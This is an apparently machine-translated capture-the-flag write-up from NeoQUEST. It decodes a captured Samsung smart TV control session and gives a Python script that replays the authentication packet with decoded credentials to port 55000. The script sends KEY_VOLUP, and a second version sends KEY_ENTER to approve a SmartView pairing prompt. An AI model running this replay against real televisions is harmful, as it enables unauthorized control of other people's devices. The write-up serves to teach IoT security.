ちょっとテレビ、あなたは最も賢いですか?

おそらく誰もがスマートテレビを使用することの危険性について聞いたでしょう。 彼らは 、所有者を見て、彼の会話を聞いていると言います。 ただし、これは、テレビ画面で認証フォームに冷静に記入し続けるほとんどのユーザーを悩ませません。



物理的にアクセスしなくてもスマートTVで何か面白いことができるかどうかを確認することにしました( ネタバレ:本当に! )。そして、 NeoQUESTでタスクを解析する例を使用して、これについて話す準備ができました



ソースデータ



参加者は、特定の写真をテレビ画面に表示する必要がありました。 彼らが持っていたのは、テレビのIPアドレスと、テレビの音量を上げるダンプセッションだけでした。 テレビへの物理的なアクセス(赤外線を含む)は閉じられましたが、同時に、参加者は画面に表示されるすべてを見ることができました。



セッションダンプの解析



制御コンピューターのアドレスは10.0.20.130、TVのアドレスは10.0.20.105です。 ネットワークトラフィックダンプの内容は次のとおりです。







セマンティックロードを持たないすべてのサービスパケットを破棄します。 残り4個のパッケージ:







パッケージの完全な構造はここにあります。最も興味深いフィールドを検討します。



したがって、制御コンピューターが送信する最初のパケットは次のとおりです。



0000 00 0c 00 6e 65 6f 71 75 65 73 74 2e 61 70 70 38 ...neoqu est.app8 0010 00 64 00 10 00 54 47 56 6e 61 58 51 67 56 58 4e .d...TGV naXQgVXN 0020 6c 63 67 3d 3d 10 00 54 6d 39 46 59 58 4e 35 56 lcg==..T m9FYXN5V 0030 32 46 35 54 33 56 30 10 00 54 47 56 6e 61 58 51 2F5T3V0. .TGVnaXQ 0040 67 56 58 4e 6c 63 67 3d 3d gVXNlcg= =
      
      





ここに:





明らかに、これは認証パッケージです。 2番目のパッケージには、許可の成功に関する情報が含まれています。



 0000 00 0c 00 69 61 70 70 2e 73 61 6d 73 75 6e 67 04 ...iapp. samsung. 0010 00 64 00 01 00 .d...
      
      





行「iapp.samsung」の意味は不明ですが、最後の4バイト(64 00 01 00)は、認証が成功し、さらに制御コマンドを送信できることを意味します。



3番目のパッケージはマネージャーです:



 0000 00 0c 00 6e 65 6f 71 75 65 73 74 2e 61 70 70 11 ...neoqu est.app. 0010 00 00 00 00 0c 00 53 30 56 5a 58 31 5a 50 54 46 ......S0 VZX1ZPTF 0020 56 51 VQ
      
      





同様に、最後の行(S0VZX1ZPTFVQ)はbase64でエンコードされたコマンドであり、デコード後に文字列「KEY_VOLUP」を取得し、TVの音量を上げます(音量アップ)。



最後のパケットを考慮します。最後の4バイトにはゼロが格納され、コマンドが正常に実行されたことを示します。



 0000 00 0c 00 69 61 70 70 2e 73 61 6d 73 75 6e 67 04 ...iapp. samsung. 0010 00 00 00 00 00 .....
      
      





プレイセッション



ダンプの解析後に最初に行うことは、セッションの再生を試みることです。 これを行うには、小さなコードを記述します。



 import socket from base64 import b64encode tv_ip = "10.0.20.101" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((tv_ip, 55000)) #----Authorization-------- msg = b'\x00\x0c\x00'+b'neoquest.app'+b'\x38\x00\x64\x00\x10\x00'+\ b64encode(b'Legit User')+b'\x10\x00'+b64encode(b'NoEasyWayOut')+\ b'\x10\x00'+b64encode(b'Legit User') sock.sendall(msg) print(sock.recv(1024)) #----Command-------------- msg = b'\x00\x0c\x00'+b'neoquest.app'+b'\x11\x00\x00\x00\x00\x0c\x00'+\ b64encode(b'KEY_VOLUP') sock.sendall(msg) print(sock.recv(1024)) sock.close()
      
      





起動中...







いいね! テレビの音量が1増加しました。つまり、正常にログインしてコマンドを実行できました。 これで、割り当ての最初の部分が完了しました。 さらに進む...



画面に画像を表示します



ここで、何らかの方法で画面に画像を表示する必要があります。 実験用のテレビがサムスン製であり、少しグーグルであることを知っていると、簡単な設定を必要とせずにテレビに写真を送信できるサムスンSmartViewアプリケーションが見つかります。



この場合のアクションのアルゴリズムは、ほぼ次のようになります。



  1. パーソナルコンピューターにSmartViewをインストールして起動します。
  2. テレビは自動的に検出されます。接続してみてください。



    デバイスを認証するリクエストがテレビ画面に表示されました。











    認証を成功させるには、Enterボタンを押すコマンドを実行する必要があることを理解しています。 インターネット上でコマンドの説明を見つけ、そこから「KEY_ENTER」を選択する必要があることがわかります。



  3. 「KEY_VOLUP」を「KEY_ENTER」に置き換えてコードを実行します。



    変更されたコード
     import socket from base64 import b64encode tv_ip = "10.0.20.101" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((tv_ip, 55000)) #----Authorization-------- msg = b'\x00\x0c\x00'+b'neoquest.app'+b'\x38\x00\x64\x00\x10\x00'+\ b64encode(b'Legit User')+b'\x10\x00'+b64encode(b'NoEasyWayOut')+\ b'\x10\x00'+b64encode(b'Legit User') sock.sendall(msg) print(sock.recv(1024)) #----Command-------------- msg = b'\x00\x0c\x00'+b'neoquest.app'+b'\x11\x00\x00\x00\x00\x0c\x00'+\ b64encode(b'KEY_ENTER') sock.sendall(msg) print(sock.recv(1024)) sock.close()
          
          







  4. SmartViewは正常に認証されました。 目的の画像を選択してテレビに送信する必要があります!



残念な結論



「スマート」テレビにアクセスして、画面に表示される音量とコンテンツを制御することは非常に現実的な作業であることがわかりました。



エフゲニー・カスペルスキーの不吉な警告を思い出す:
コンピューターが感染し、携帯電話が感染します。 次に何が起こりますか?...次のまったく新しいタイプの攻撃は、スマートテレビに対するものになると確信しています。 インターネット上にあるすべてのもの、ネットワークに接続されるすべてのもの、遅かれ早かれハッキングされます。


対処方法-テレビにアクセスして、彼のインターネットアクセスをブロックしますか? または、スマートテレビ用のウイルス対策を早急に購入/開発しますか? または、コンピューターに座って敵の復ven計画を立てますか?



これは皆の個人的な選択です。 そして、私たちは物事のインターネットの危険性の1つを示しました。 ここで終わりではありません。新しいNeoQUEST今後の新しいタスクは、最新のテクノロジーのセキュリティを確保する問題を示しています。



All Articles